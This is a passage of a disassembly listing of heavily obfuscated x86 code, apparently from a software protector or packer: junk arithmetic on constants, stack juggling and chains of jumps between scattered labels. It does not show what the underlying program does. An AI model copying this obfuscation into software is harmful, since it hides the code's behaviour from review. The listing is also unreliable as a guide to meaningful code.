		neg	edx
		push	esi
		jmp	loc_58CF25
; ---------------------------------------------------------------------------


loc_58095F:				; CODE XREF: ud2_____:0059051Bj
		xor	ecx, esi
		pop	esi
		jmp	loc_584E6B
; ---------------------------------------------------------------------------


loc_580967:				; CODE XREF: ud2_____:0058A796j
		dec	ebx
		xchg	ebx, ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 73100B60h
		shr	ebx, 2
		sub	ebx, 163E4BD8h
		shr	ebx, 4
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	ebp
		push	ecx
		push	57CE4EEBh
		jmp	loc_58CCEC
; ---------------------------------------------------------------------------


loc_580995:				; CODE XREF: ud2_____:0057E102j
		mov	[esp], eax
		mov	al, 0E8h
		push	cx
		mov	ch, 69h
		jmp	loc_58501E
; ---------------------------------------------------------------------------


loc_5809A3:				; CODE XREF: ud2_____:00581B41j
		add	eax, ebp
		sub	eax, 36AB6D60h
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, [esp]
		jmp	loc_58A3BF
; ---------------------------------------------------------------------------


loc_5809B8:				; CODE XREF: ud2_____:0058749Ej
		pop	edi
		add	edx, 61390000h
		add	edx, 55632D2Bh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edx, 2
		jmp	loc_58344E
; ---------------------------------------------------------------------------


loc_5809D7:				; CODE XREF: ud2_____:0058D0A0j
		add	edi, 4
		jmp	loc_58D0C8
; ---------------------------------------------------------------------------


loc_5809DF:				; CODE XREF: ud2_____:005863B7j
		pop	edi
		jmp	loc_589C96
; ---------------------------------------------------------------------------


loc_5809E5:				; CODE XREF: ud2_____:0058D55Ej
		mov	bh, cl
		jmp	loc_5910E7
; ---------------------------------------------------------------------------


loc_5809EC:				; CODE XREF: ud2_____:00585D26j
		add	edx, 4
		sub	edx, 4
		jmp	loc_592B0D
; ---------------------------------------------------------------------------


loc_5809FD:				; CODE XREF: ud2_____:0058F0BCj
		sub	ecx, 69CD2294h
		not	ecx
		xor	ecx, 3D53FCB4h
		jmp	loc_592B8E
; ---------------------------------------------------------------------------


loc_580A10:				; CODE XREF: ud2_____:005911D6j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_580A15:				; CODE XREF: ud2_____:005917DBj
		mov	ebp, 7A073F7h
		sub	eax, 38B8687Eh
		sub	eax, ebp
		add	eax, 38B8687Eh
		pop	ebp
		add	eax, ebp
		add	eax, 7A073F7h
		jmp	loc_588D6E
; ---------------------------------------------------------------------------


loc_580A33:				; CODE XREF: ud2_____:0059231Aj
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	esi
		mov	esi, 6555778Ah
		xor	esi, 5DC707F1h
		sub	esi, 473220F5h
		xor	esi, 0F1604F82h
		jmp	loc_587CD9
; ---------------------------------------------------------------------------


loc_580A5C:				; CODE XREF: ud2_____:00580AC0j
		mov	[esp], eax
		jmp	loc_588335
; ---------------------------------------------------------------------------


loc_580A64:				; CODE XREF: ud2_____:00584C28j
		mov	bl, 0C3h
		jmp	loc_581439
; ---------------------------------------------------------------------------


loc_580A6B:				; CODE XREF: ud2_____:0058BDB7j
		pop	eax
		push	7962h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_580A8B:				; CODE XREF: ud2_____:0058DBE0j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebx
		jmp	loc_5806B7
; ---------------------------------------------------------------------------


loc_580A9D:				; CODE XREF: ud2_____:005879A6j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_580AA2:				; CODE XREF: ud2_____:00592DD3j
		push	esi
		jmp	loc_58689F
; ---------------------------------------------------------------------------


loc_580AA8:				; CODE XREF: ud2_____:0058C6BEj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 332A2D24h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_592F4C
; ---------------------------------------------------------------------------


loc_580ABB:				; CODE XREF: ud2_____:00587AA4j
		push	395Eh
		jmp	loc_580A5C
; ---------------------------------------------------------------------------


loc_580AC5:				; CODE XREF: ud2_____:0058659Bj
		mov	ebp, 65610466h
		push	ebp
		pop	ecx
		pop	ebp
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_590C0E
; ---------------------------------------------------------------------------


loc_580AEA:				; CODE XREF: ud2_____:0058CFD2j
		push	0FD4h
		push	esp
		jmp	loc_583A6E
; ---------------------------------------------------------------------------


loc_580AF5:				; CODE XREF: ud2_____:005839AEj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_5867A5
; ---------------------------------------------------------------------------


loc_580B02:				; CODE XREF: ud2_____:0058F711j
		sub	dh, bh
		pop	ebx
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 9Bh
		sub	al, cl
		jmp	loc_588BEB
; ---------------------------------------------------------------------------


loc_580B15:				; CODE XREF: ud2_____:0058F70Aj
		xor	ah, 0A3h
		or	ah, 65h
		shr	ah, 1
		add	ah, 1Fh
		sub	ah, 14h
		jmp	loc_58447B
; ---------------------------------------------------------------------------


loc_580B28:				; CODE XREF: ud2_____:0058051Aj
		sub	edx, 54827823h
		xor	edx, 0B7FBCC26h
		push	eax
		mov	eax, edx
		jmp	loc_57E31C
; ---------------------------------------------------------------------------


loc_580B3C:				; CODE XREF: ud2_____:005914CBj
		mov	[esp], eax
		mov	eax, 21224F24h
		sub	edx, eax
		pop	eax
		jmp	loc_587DB4
; ---------------------------------------------------------------------------


loc_580B4C:				; CODE XREF: ud2_____:00590B5Cj
		mov	ebp, esp
		jmp	loc_58B26D
; ---------------------------------------------------------------------------


loc_580B53:				; CODE XREF: ud2_____:0058F17Cj
		mov	[esp], eax
		push	5CD9h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_583D1F
; ---------------------------------------------------------------------------


loc_580B6D:				; CODE XREF: ud2_____:0058ECDCj
		shl	ebp, 3
		jmp	loc_58E841
; ---------------------------------------------------------------------------


loc_580B75:				; CODE XREF: ud2_____:005863C0j
		mov	[esp], edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_58382F
; ---------------------------------------------------------------------------


loc_580B84:				; CODE XREF: ud2_____:00585A57j
		add	esp, 4
		add	al, dh
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5897B4
; ---------------------------------------------------------------------------


loc_580B94:				; CODE XREF: ud2_____:0058C99Ej
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_589AE4
; ---------------------------------------------------------------------------


loc_580BA2:				; CODE XREF: ud2_____:0058F762j
		pop	eax
		shl	ebp, 8
		push	esi
		mov	esi, 2F151231h
		neg	esi
		push	2F4Fh
		mov	[esp], ecx
		mov	ecx, 72CA5F76h
		xor	esi, ecx
		pop	ecx
		jmp	loc_586843
; ---------------------------------------------------------------------------


loc_580BC3:				; CODE XREF: ud2_____:00582F60j
		shl	bp, 7
		push	dx
		mov	dx, 438Eh
		jmp	loc_58BB84
; ---------------------------------------------------------------------------


loc_580BD2:				; CODE XREF: ud2_____:0058EBE0j
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_57E58E
; ---------------------------------------------------------------------------


loc_580BE2:				; CODE XREF: ud2_____:00581F32j
		add	esp, 4
		jmp	loc_588B7E
; ---------------------------------------------------------------------------


loc_580BED:				; CODE XREF: ud2_____:00582416j
		sub	esi, 3A75248Bh
		sub	esi, ecx
		add	esi, 3A75248Bh
		sub	esi, 1EB5162Fh
		sub	esi, 2213B51h
		mov	ecx, [esp]
		jmp	loc_586ED8
; ---------------------------------------------------------------------------


loc_580C0F:				; CODE XREF: ud2_____:0058E77Dj
		pop	ecx
		jmp	loc_57F42E
; ---------------------------------------------------------------------------


loc_580C15:				; CODE XREF: ud2_____:00581B59j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_586837
; ---------------------------------------------------------------------------


loc_580C2B:				; CODE XREF: ud2_____:005857F0j
		mov	[esp], ebp
		jmp	loc_5927C3
; ---------------------------------------------------------------------------


loc_580C33:				; CODE XREF: ud2_____:00583AABj
		xchg	eax, [esp]
		pop	esp
		push	esi
		jmp	loc_583466
; ---------------------------------------------------------------------------


loc_580C3D:				; CODE XREF: ud2_____:00590646j
		add	eax, 42282625h
		jmp	loc_57E704
; ---------------------------------------------------------------------------


loc_580C47:				; CODE XREF: ud2_____:0058E09Dj
		mov	ebx, 33D71C11h
		jmp	loc_581C7C
; ---------------------------------------------------------------------------


loc_580C51:				; CODE XREF: ud2_____:00585EFEj
		push	dword ptr [esp]
		jmp	loc_589067
; ---------------------------------------------------------------------------


loc_580C59:				; CODE XREF: ud2_____:00580E61j
		mov	edx, 0AFB40A9h
		sub	edx, 1B366D35h
		xor	edx, 12112C3Ah
		push	0
		sub	[esp], edx
		jmp	loc_58770F
; ---------------------------------------------------------------------------


loc_580C77:				; CODE XREF: ud2_____:00581A85j
		push	3051h
		mov	[esp], ebx
		mov	ebx, 4E7D1E9Ch
		xor	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5929C6
; ---------------------------------------------------------------------------


loc_580C95:				; CODE XREF: ud2_____:00584A8Ej
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_580CA1:				; CODE XREF: ud2_____:0058593Dj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_589D95
; ---------------------------------------------------------------------------


loc_580CAC:				; CODE XREF: ud2_____:0058AE77j
		sub	ebx, 1D767BC8h
		xor	ebx, 38780F18h
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0B065D966h
		mov	edi, ebx
		pop	ebx
		sub	ebx, edi
		pop	edi
		jmp	loc_586E04
; ---------------------------------------------------------------------------


loc_580CCC:				; CODE XREF: ud2_____:0058D7ADj
		mov	eax, esp
		jmp	loc_582944
; ---------------------------------------------------------------------------


loc_580CD3:				; CODE XREF: ud2_____:0058C188j
		sub	esi, 69C26071h
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_57EF5C
; ---------------------------------------------------------------------------


loc_580CE2:				; CODE XREF: ud2_____:0058BA0Bj
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_580CE7:				; CODE XREF: ud2_____:00589C98j
		push	edx
		mov	edx, 785602ABh
		xor	[esp+4], edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 785602ABh
		jmp	loc_58A6E3
; ---------------------------------------------------------------------------


loc_580D03:				; CODE XREF: ud2_____:00583FF2j
		pop	eax
		jmp	loc_58F348
; ---------------------------------------------------------------------------


loc_580D09:				; CODE XREF: ud2_____:0058812Aj
		xor	eax, [esp]
		jmp	loc_58047F
; ---------------------------------------------------------------------------


loc_580D11:				; CODE XREF: ud2_____:0058D95Ej
		pop	dx
		shr	ch, 2
		push	864h
		mov	[esp], eax
		mov	ah, 0E8h
		sub	ch, ah
		pop	eax
		sub	al, 0DEh
		sub	al, ch
		jmp	loc_58DA85
; ---------------------------------------------------------------------------


loc_580D2C:				; CODE XREF: ud2_____:005810A4j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6EC77FF5h
		not	eax
		jmp	loc_57E755
; ---------------------------------------------------------------------------

locret_580D41:				; CODE XREF: ud2_____:0057FE12j
		retn
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_57EB35
; ---------------------------------------------------------------------------


loc_580D4B:				; CODE XREF: ud2_____:005910ADj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_583D6C
; ---------------------------------------------------------------------------


loc_580D5E:				; CODE XREF: ud2_____:00590C31j
		mov	edx, [esp]
		jmp	loc_58ACFC
; ---------------------------------------------------------------------------


loc_580D66:				; CODE XREF: ud2_____:0057F61Dj
		mov	[esp], ebp
		mov	ebp, 77FA05D8h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 6
		push	edx
		jmp	loc_58886B
; ---------------------------------------------------------------------------


loc_580D82:				; CODE XREF: ud2_____:0057E1D8j
		shr	ecx, 5
		push	ebp
		mov	ebp, 0FA341BEEh
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, ecx
		jmp	loc_58A3C7
; ---------------------------------------------------------------------------


loc_580D9A:				; CODE XREF: ud2_____:00581F79j
		push	471Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_582DDC
; ---------------------------------------------------------------------------


loc_580DAE:				; CODE XREF: ud2_____:0058E7FDj
		push	4AC4h
		mov	[esp], edi
		mov	edi, 0C5E13C6h
		sub	edi, 1
		jmp	loc_58830B
; ---------------------------------------------------------------------------


loc_580DC3:				; CODE XREF: ud2_____:00581434j
		add	ebx, 0BD7CB3h
		pop	ecx
		add	ebx, 0A0D49733h
		sub	edi, ebx
		pop	ebx
		add	edi, 1
		push	eax
		push	edx
		mov	edx, 6C5C0196h
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_58CE78
; ---------------------------------------------------------------------------


loc_580DE7:				; CODE XREF: ud2_____:00586DFFj
		xchg	eax, [esp]
		pop	ecx
		push	ebp
		mov	ebp, 3C8468BFh
		sub	ebp, 377364EAh
		dec	ebp
		shl	ebp, 7
		jmp	loc_57E7A4
; ---------------------------------------------------------------------------


loc_580E00:				; CODE XREF: ud2_____:0058CFC8j
		add	ecx, 78A84F1Dh
		push	eax
		push	eax
		mov	eax, 0CC7487Dh
		jmp	loc_5821C2
; ---------------------------------------------------------------------------


loc_580E12:				; CODE XREF: ud2_____:005885ECj
		add	esp, 4
		jmp	loc_57ECA1
; ---------------------------------------------------------------------------


loc_580E1A:				; CODE XREF: ud2_____:00592EF5j
		mov	eax, 1
		sub	esp, 4
		mov	[esp], eax
		xor	dword ptr [esp], 0C30526Dh
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58EBA4
; ---------------------------------------------------------------------------


loc_580E35:				; CODE XREF: ud2_____:0058B5C6j
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_58D156
; ---------------------------------------------------------------------------


loc_580E3F:				; CODE XREF: ud2_____:005837E1j
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_583460
; ---------------------------------------------------------------------------


loc_580E54:				; CODE XREF: ud2_____:0058A64Aj
		add	dword ptr [esp], 4
		pop	eax
		push	7DF2h
		mov	[esp], edx
		jmp	loc_580C59
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5890AF
; ---------------------------------------------------------------------------


loc_580E6E:				; CODE XREF: ud2_____:0058744Aj
		add	ebx, 78867C25h
		add	ebx, 73CC66E8h
		sub	ebx, ebp
		sub	ebx, 73CC66E8h
		sub	ebx, 78867C25h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5839E3
; ---------------------------------------------------------------------------


loc_580E91:				; CODE XREF: ud2_____:0057E0D1j
		push	ebp
		mov	ebp, 76BB46D5h
		shr	ebp, 8
		neg	ebp
		push	edi
		mov	edi, 116C01F2h
		shl	edi, 5
		jmp	loc_58FFBB
; ---------------------------------------------------------------------------


loc_580EAA:				; CODE XREF: ud2_____:005865F1j
		shr	edx, 3
		jmp	loc_583CE7
; ---------------------------------------------------------------------------


loc_580EB2:				; CODE XREF: ud2_____:00581E9Cj
		add	ebp, edx
		jmp	loc_586C29
; ---------------------------------------------------------------------------


loc_580EB9:				; CODE XREF: ud2_____:00590F0Bj
		push	ebx
		mov	ebx, 60F6025Fh
		sub	ebp, ebx
		jmp	loc_58829E
; ---------------------------------------------------------------------------


loc_580EC6:				; CODE XREF: ud2_____:005906E2j
		add	esi, 6C327CB4h
		sub	esi, ecx
		sub	esi, 6C327CB4h
		pop	ecx
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_58230E
; ---------------------------------------------------------------------------


loc_580EE3:				; CODE XREF: ud2_____:00584802j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_584A8B
; ---------------------------------------------------------------------------


loc_580EEE:				; CODE XREF: ud2_____:00585ED2j
		pop	ebx
		jmp	loc_5919C6
; ---------------------------------------------------------------------------


loc_580EF4:				; CODE XREF: ud2_____:00586832j
		add	esp, 2
		push	ecx
		mov	cl, 7Fh
		mov	dh, 45h
		jmp	loc_580317
; ---------------------------------------------------------------------------


loc_580F04:				; CODE XREF: ud2_____:00587661j
		sub	eax, 4F391FC4h
		add	eax, edi
		add	eax, 4F391FC4h
		jmp	loc_57E776
; ---------------------------------------------------------------------------


loc_580F15:				; CODE XREF: ud2_____:0059303Ej
		mov	ebp, 5E1D5E9Ch
		shr	ebp, 7
		push	edi
		jmp	loc_5812C3
; ---------------------------------------------------------------------------


loc_580F23:				; CODE XREF: ud2_____:0058D1B9j
		push	dx
		mov	dl, 56h
		add	ch, dl
		pop	dx
		sub	ch, 41h
		sub	ch, bl
		push	eax
		mov	al, 12h
		shr	al, 5
		and	al, 56h
		xor	al, 45h
		dec	al
		add	al, 0FDh
		sub	ch, 55h
		add	ch, al
		add	ch, 55h
		pop	eax
		sub	ch, 56h
		sub	ch, 0B9h
		sub	esp, 2
		mov	[esp], dx
		mov	dh, 74h
		sub	ch, dh
		pop	dx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		not	byte ptr [esp+1]
		jmp	loc_58E246
; ---------------------------------------------------------------------------


loc_580F6D:				; CODE XREF: ud2_____:0058495Ej
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_587672
; ---------------------------------------------------------------------------


loc_580F79:				; CODE XREF: ud2_____:0058C8B8j
		mov	ebp, 5D8E4A0Ch
		jmp	loc_58EFF4
; ---------------------------------------------------------------------------


loc_580F83:				; CODE XREF: ud2_____:0057F433j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		push	small 6DFAh
		mov	[esp], dx
		jmp	loc_57E36F
; ---------------------------------------------------------------------------


loc_580FA1:				; CODE XREF: ud2_____:005913D4j
		add	[esp], eax
		jmp	loc_592BEB
; ---------------------------------------------------------------------------


loc_580FA9:				; CODE XREF: ud2_____:0058C430j
		mov	bh, 0BBh
		sub	bh, dh
		pop	edx
		shr	bh, 2
		or	bh, 44h
		inc	bh
		xor	bh, 0CEh
		sub	bh, 0BFh
		xor	bh, 6Ah
		jmp	near ptr unk_57F2F5
; ---------------------------------------------------------------------------
		db 0FFh
		db  34h	; 4
		db  24h	; $
		db  8Bh	; ‹
		db  14h
		db  24h	; $
		db 0E9h	; é
		db  68h	; h
		db  52h	; R
		db    0
		db    0
		db  66h	; f
		db  8Bh	; ‹
		db  0Ch
		db  24h	; $
		db  81h	; 
		db 0ECh	; ì
		db    4
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  0Ch
		db  24h	; $
		db  54h	; T
		db  59h	; Y
		db  55h	; U
		db 0BDh	; ½
		db    4
		db    0
		db    0
		db    0
		db 0E9h	; é
		db  0Eh
		db  4Ch	; L
		db    0
		db 0
; ---------------------------------------------------------------------------


loc_580FE9:				; CODE XREF: ud2_____:00580738j
		add	ecx, 0C726B700h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58A41A
; ---------------------------------------------------------------------------


loc_580FF7:				; CODE XREF: ud2_____:00586F7Ej
		push	dword ptr [esp]
		jmp	loc_58DB57
; ---------------------------------------------------------------------------


loc_580FFF:				; CODE XREF: ud2_____:00586F67j
		sub	ecx, edx
		push	dword ptr [esp]
		jmp	loc_591109
; ---------------------------------------------------------------------------


loc_581009:				; CODE XREF: ud2_____:00582D08j
		mov	ebx, 0FE173CFh
		add	edi, ebx
		jmp	loc_587095
; ---------------------------------------------------------------------------


loc_581015:				; CODE XREF: ud2_____:00590BA1j
		shl	ecx, 1
		jmp	loc_5929DC
; ---------------------------------------------------------------------------


loc_58101C:				; CODE XREF: ud2_____:0058F6C5j
		pop	ecx
		sub	ebx, ecx
		pop	ecx
		mov	edx, [esp]
		jmp	loc_58BCD4
; ---------------------------------------------------------------------------


loc_581028:				; CODE XREF: ud2_____:0058C149j
		mov	[esp], ebp
		push	4
		pop	ebp
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 3D71106Bh
		neg	eax
		shr	eax, 5
		dec	eax
		shl	eax, 8
		jmp	loc_5858BB
; ---------------------------------------------------------------------------


loc_58104E:				; CODE XREF: ud2_____:005837CDj
		push	edx
		mov	dl, 0EFh
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 9Eh
		or	bl, 0BCh
		sub	bl, 2
		jmp	loc_589E4C
; ---------------------------------------------------------------------------


loc_581067:				; CODE XREF: ud2_____:0058A16Aj
		push	esi
		jmp	loc_58A6A0
; ---------------------------------------------------------------------------


loc_58106D:				; CODE XREF: ud2_____:0057E40Aj
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 73FD178Bh
		jmp	loc_58EEDA
; ---------------------------------------------------------------------------


loc_58107B:				; CODE XREF: ud2_____:005875A2j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ch, 8Bh
		shr	ch, 7
		jmp	loc_58BF27
; ---------------------------------------------------------------------------


loc_581093:				; CODE XREF: ud2_____:00589219j
		push	ebp
		mov	ebp, 11A24A2Fh
		not	ebp
		sub	ebp, 0CDFBB152h
		add	ebx, ebp
		pop	ebp
		jmp	loc_580D2C
; ---------------------------------------------------------------------------


loc_5810A9:				; CODE XREF: ud2_____:0058B872j
		sub	esi, 4D5B55B6h
		jmp	loc_589872
; ---------------------------------------------------------------------------


loc_5810B4:				; CODE XREF: ud2_____:00585F9Cj
		push	edi
		mov	edi, 2
		sub	edx, edi
		jmp	loc_58D70E
; ---------------------------------------------------------------------------


loc_5810C1:				; CODE XREF: ud2_____:0058E074j
		not	eax
		jmp	loc_5885BE
; ---------------------------------------------------------------------------


loc_5810C8:				; CODE XREF: ud2_____:00583FEAj
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5810D4:				; CODE XREF: ud2_____:00591CA6j
		mov	esp, [esp]
		movzx	ecx, al
		push	38DAh
		jmp	loc_58864E
; ---------------------------------------------------------------------------


loc_5810E4:				; CODE XREF: ud2_____:0058BC8Bj
		mov	ebx, esp
		push	0CB1h
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_58575E
; ---------------------------------------------------------------------------


loc_5810FB:				; CODE XREF: ud2_____:00589C35j
		mov	ecx, esi
		mov	ebp, ecx
		pop	ecx
		mov	edi, ebp
		pop	ebp
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5808B5
; ---------------------------------------------------------------------------


loc_581125:				; CODE XREF: ud2_____:005833E7j
		mov	edx, esp
		jmp	loc_592941
; ---------------------------------------------------------------------------


loc_58112C:				; CODE XREF: ud2_____:005832CDj
		sub	ebx, ebp
		pop	ebp
		sub	ebx, ebp
		add	ebx, 19313E70h
		sub	ebx, 630877D4h
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_58366A
; ---------------------------------------------------------------------------


loc_581151:				; CODE XREF: ud2_____:005886F5j
		add	edi, ecx
		push	ebp
		mov	ebp, 37C22047h
		push	esi
		push	edi
		mov	edi, 18737CECh
		jmp	loc_585BC9
; ---------------------------------------------------------------------------


loc_581165:				; CODE XREF: ud2_____:005846FAj
		sub	ebx, 7A7404D2h
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_585E64
; ---------------------------------------------------------------------------


loc_581183:				; CODE XREF: ud2_____:0058048Aj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_588C71
; ---------------------------------------------------------------------------


loc_581191:				; CODE XREF: ud2_____:005817F1j
		or	bh, 49h
		jmp	loc_591650
; ---------------------------------------------------------------------------


loc_581199:				; CODE XREF: ud2_____:0058AADDj
		push	415Eh
		mov	[esp], esi
		mov	esi, 1
		push	48C3h
		mov	[esp], edx
		mov	edx, 20h
		add	edx, edi
		jmp	loc_587FBE
; ---------------------------------------------------------------------------


loc_5811BA:				; CODE XREF: ud2_____:005923A1j
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_590EDA
; ---------------------------------------------------------------------------


loc_5811C7:				; CODE XREF: ud2_____:0058282Bj
		mov	[esp], eax
		jmp	loc_591522
; ---------------------------------------------------------------------------


loc_5811CF:				; CODE XREF: ud2_____:005890AAj
		add	eax, ebp
		pop	ebp
		push	ebp
		push	50B5h
		mov	[esp], edx
		jmp	loc_58D177
; ---------------------------------------------------------------------------


loc_5811E0:				; CODE XREF: ud2_____:0059139Dj
		pop	esi
		sub	[esp+8], edx
		jmp	loc_5865D2
; ---------------------------------------------------------------------------


loc_5811EA:				; CODE XREF: ud2_____:0059189Fj
		add	ch, 97h
		jmp	loc_58D4F4
; ---------------------------------------------------------------------------


loc_5811F2:				; CODE XREF: ud2_____:00591F18j
		add	al, bh
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_588ACD
; ---------------------------------------------------------------------------


loc_58120B:				; CODE XREF: ud2_____:0058BDF7j
		mov	[esp], ecx
		push	edi
		push	3B9F0274h
		pop	edi
		shl	edi, 7
		jmp	loc_5850A2
; ---------------------------------------------------------------------------


loc_58121D:				; CODE XREF: ud2_____:0058F877j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57E377
; ---------------------------------------------------------------------------


loc_58122A:				; CODE XREF: ud2_____:005926ADj
		sub	esi, ecx
		pop	ecx
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, edi
		dec	ebp
		xchg	ebp, edi
		push	esi
		push	7BD24D62h
		pop	esi
		sub	edi, 63885D66h
		sub	edi, esi
		add	edi, 63885D66h
		pop	esi
		shr	edi, 1
		push	eax
		mov	eax, 68E50B39h
		xor	eax, 22240093h
		and	edi, eax
		pop	eax
		xor	edi, 42C1000Eh
		jmp	loc_58FBB8
; ---------------------------------------------------------------------------


loc_58126E:				; CODE XREF: ud2_____:0058B02Fj
		xchg	eax, [esp]
		jmp	loc_585FBC
; ---------------------------------------------------------------------------


loc_581276:				; CODE XREF: ud2_____:0058E729j
		pop	esi
		push	1E07h
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_588C8E
; ---------------------------------------------------------------------------


loc_58128B:				; CODE XREF: ud2_____:00586105j
		mov	eax, 4
		jmp	loc_58B67C
; ---------------------------------------------------------------------------


loc_581295:				; CODE XREF: ud2_____:0058CE73j
		push	esp
		jmp	loc_5834A6
; ---------------------------------------------------------------------------


loc_58129B:				; CODE XREF: ud2_____:005845FBj
		pop	ecx
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_58C020
; ---------------------------------------------------------------------------


loc_5812B3:				; CODE XREF: ud2_____:0059058Cj
		pop	eax
		add	bl, dh
		pop	dx
		sub	al, bl
		pop	ebx
		sub	esp, 4
		jmp	loc_57ECFB
; ---------------------------------------------------------------------------


loc_5812C3:				; CODE XREF: ud2_____:00580F1Ej
		push	54AFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_58048F
; ---------------------------------------------------------------------------


loc_5812F0:				; CODE XREF: ud2_____:00586D42j
		push	372Eh
		mov	[esp], edi
		jmp	loc_5873A9
; ---------------------------------------------------------------------------


loc_5812FD:				; CODE XREF: ud2_____:005895E6j
		mov	ebx, esp
		push	edi
		push	6D956D29h
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 926A92DBh
		add	edi, eax
		jmp	loc_58BD31
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_580079
; ---------------------------------------------------------------------------


loc_581338:				; CODE XREF: ud2_____:0058608Ej
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_581DE4
; ---------------------------------------------------------------------------


loc_58134A:				; CODE XREF: ud2_____:0058198Cj
		or	edi, 619D30D3h
		add	edi, 52BBAE3Bh
		sub	eax, edi
		pop	edi
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5815BC
; ---------------------------------------------------------------------------


loc_581366:				; CODE XREF: ud2_____:00586CB2j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_58EA21
; ---------------------------------------------------------------------------


loc_581372:				; CODE XREF: ud2_____:00587B01j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], ax
		push	edx
		sub	esp, 4
		mov	[esp], ecx
